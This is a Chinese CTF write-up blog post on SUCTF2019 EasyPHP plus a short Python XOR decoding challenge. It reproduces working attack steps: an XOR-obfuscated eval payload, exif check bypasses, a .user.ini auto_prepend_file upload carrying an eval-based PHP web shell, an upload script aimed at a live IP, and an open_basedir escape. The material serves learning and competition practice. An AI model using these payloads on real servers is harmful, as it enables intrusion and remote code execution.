今天起来本来是看到的SUCTF2019的EasyPHP,咋一眼看不难,实际上做了一遍才发现真的好多坑...看着WP做都写了半天...我太菜了.jpg
<?php function get_the_flag(){ // webadmin will remove your upload file every 20 min!!!! $userdir ="/upload/tmp_".md5($_SERVER['REMOTE_ADDR']); if(!file_exists($userdir)){ if (!@mkdir($userdir)) { $error = error_get_last(); echo $error['message']; } } if(!empty($_FILES["file"])){ $tmp_name = $_FILES["file"]["tmp_name"]; $name = $_FILES["file"]["name"]; $extension = substr($name, strrpos($name,".")+1); if(preg_match("/ph/i",$extension)) die("^_^"); if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^"); if(!exif_imagetype($tmp_name)) die("^_^"); $path= $userdir."/".$name; @move_uploaded_file($tmp_name, $path); print_r($path); } } $hhh = @$_GET['_']; if (!$hhh){ highlight_file(__FILE__); } if(strlen($hhh)>18){ die('One inch long, one inch strong!'); } if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) ) die('Try something else!'); $character_type = count_chars($hhh, 3); if(strlen($character_type)>12) die("Almost there!"); eval($hhh); ?>
首先是传入的值'_'
这个验证太狠了,把ascii里面的大多数字符全部ban掉了,然后还用了好多字符数量限制...
这里用到的是异或拼接法。最终要拼的是让其运行get_the_flag()函数,最终要拼接的结果是$_GET{x}();&x=get_the_flag() 这里涉及到一个花括号的问题,这里本来是$_GET[x]的才对,但是{}跟在数组变量后面相当于访问其成员变量。另外就是{}内的值会被运算。 https://blog.csdn.net/ityang521/article/details/60609499
异或拼接$_GET
利用Day5中的那个异或生成器,可以生成出表达式{%A0%A0%A0%A0^%FF%E7%E5%F4},这个最终在php中运算的结果就是_GET。因此payload为${%A0%A0%A0%A0^%FF%E7%E5%F4}{%A0}();&%A0=get_the_flag
https://xz.aliyun.com/t/6042#toc-26
https://www.jianshu.com/p/fbfeeb43ace2
另外一题类似的知识点: https://github.com/Samik081/ctf-writeups/blob/master/ISITDTU%20CTF%202019%20Quals/web/easyphp.md
类似知识点讲解:
https://blog.zeddyu.info/2019/07/20/isitdtu-2019/#Step-2
之后就是传文件
用这个可以绕过exif的检测 #define width 1337 #define height 1337 或者这个也可以 GIF89a
.user.ini预加载文件:
auto_prepend_file=文件位置 或者 auto_prepend_file=php://filter/convert.base64-decode/resource= (base64这个不知道什么原因没有成功)
拓展(还没看): https://xz.aliyun.com/t/6091
图片文件绕过<?检测
\x00\x00\x8a\x39\x8a\x39 <script language='php'>eval($_REQUEST[c]);</script> #php5环境下可用
上传的脚本,来自 https://www.jianshu.com/p/fbfeeb43ace2
import requests import base64 url = "http://47.111.59.243:9021/" userini = b"""\x00\x00\x8a\x39\x8a\x39 auto_prepend_file = cc.jpg """ #shell = b"\x00\x00\x8a\x39\x8a\x39"+b"00"+ base64.b64encode(b"<?php eval($_GET['c']);?>") shell = b"\x00\x00\x8a\x39\x8a\x39"+b"00" + "<script language='php'>eval($_REQUEST[c]);</script>" files = [('fileUpload',('.user.ini',userini,'image/jpeg'))] data = {"upload":"Submit"} proxies = {"http":"http://127.0.0.1:8080"} print("upload .user.ini") r = requests.post(url=url, data=data, files=files)#proxies=proxies) print(r.text) print("upload cc.jpg") files = [('fileUpload',('cc.jpg',shell,'image/jpeg'))] r = requests.post(url=url, data=data, files=files) print(r.text)
绕过open_basedir
chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo(file_get_contents('flag'));
python-trade
emmm其实今天才知道pyc可以在网页上反编译
import base64 def encode(message): s = '' for i in message: x = ord(i) ^ 32 x = x + 16 s += chr(x) return base64.b64encode(s) correct = 'XlNkVmtUI1MgXWBZXCFeKY+AaXNt' flag = '' print 'Input flag:' flag = raw_input() if encode(flag) == correct: print 'correct' else: print 'wrong' import base64
解密脚本(一开始居然写反了,太急了QAQ)
import base64 def decode(message): s = base64.b64decode(message) dec='' for i in s: i-=16; i^=32 dec+= chr(i) return dec correct = 'XlNkVmtUI1MgXWBZXCFeKY+AaXNt' print (decode(correct))
Comments | NOTHING